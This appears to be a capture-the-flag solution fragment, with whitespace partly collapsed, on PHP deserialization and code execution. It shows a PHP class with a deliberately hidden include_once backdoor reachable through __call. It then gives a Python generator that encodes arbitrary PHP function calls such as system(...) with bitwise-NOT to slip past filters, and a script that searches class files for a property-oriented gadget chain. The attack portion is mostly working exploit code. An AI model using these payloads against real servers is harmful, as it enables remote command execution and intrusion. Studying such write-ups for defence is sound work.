classsandbox{ private$evil; public$upload_path; publicfunctionmake_user_upload_dir() { $md5_dir = md5($_SERVER['REMOTE_ADDR'] . session_id()); $this->upload_path = UPLOAD_PATH . "/" . $md5_dir; @mkdir($this->upload_path); $_SESSION["upload_path"] = $this->upload_path; } publicfunctionhas_upload_dir() { return !empty($_SESSION["upload_path"]); } publicfunction__wakeup() { /* I removed this code because it was too dangerous. */ thrownewError("NO NO NO"); } publicfunction__destruct() { /* I removed this code because it was too dangerous. */ } publicfunction__call($func, $value) { if (method_exists($this, $func)) { call_user_func_array( [$this, $func], $value ); } } privatefunctionbackdoor() { // __destruct and __wakeup are deleted. It looks like backdoor should not be called. include_once$this->evil; } }
$box = new sandbox(); if (!$box->has_upload_dir()) { $box->make_user_upload_dir(); }
defone(s): ss = "" for each in s: ss += "%" + str(hex(255 - ord(each)))[2:].upper() returnf"[~{ss}][!%FF]("
""" 组成类似于system(pos(next(getallheaders())));即可 a=whoami """ while1: a = input(":>").strip(")") aa = a.split("(") s = "" for each in aa[:-1]: s += one(each) s += ")" * (len(aa) - 1) + ";" print(s)
def trav(name, cls, al): if "fumo" in classes[name]: print("->".join(cls)) print(f"start->{'->'.join(al)}->end",end="\n\n") return 1 for call in otoc[name]: if call in ftoo.keys(): next = ftoo[call] if next not in cls: trav(next, cls + [next], al+[otoa[name]]) return 0
if __name__ == "__main__": with open("class.code") as f: text = f.read() res = re.findall("class[\w\W]+?}[\w\W]+?}", text) for i in res: name = re.findall("class (\w+)", i)[0] classes[name] = i fs = re.findall("public object (\$\w+?);", i) otov[name] = fs for fc in fs: vtoo[fc] = name calls = re.findall("\$this->\w+?->(\w+)\(", i) calls1 = [] a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i) disable = ("md5", "sha1", "crypt", "ucfirst") for call in calls: ctoo[call] = name if len(a) == 0 and "crypt" not in i: calls1.append(call) otoa[name]="" else: if len(a) == 0: a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i) if len(a)==1: a = list(a[0]) if "crypt" in i: a[1] = "crypt" otoa[name] = a[1] if a[0] == a[2] and ( a[1] != "" and not (a[1] in disable and i.find(a[1]) < i.find(call)) or a[1] == ""): calls1.append(call) calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i) if calls2: ctoo[name] = calls2[0] otoa[name] = "" otoc[name] = calls1 + calls2 func = re.findall("function (\w+?)\(", i)[0] ftoo[func] = name otof[name] = func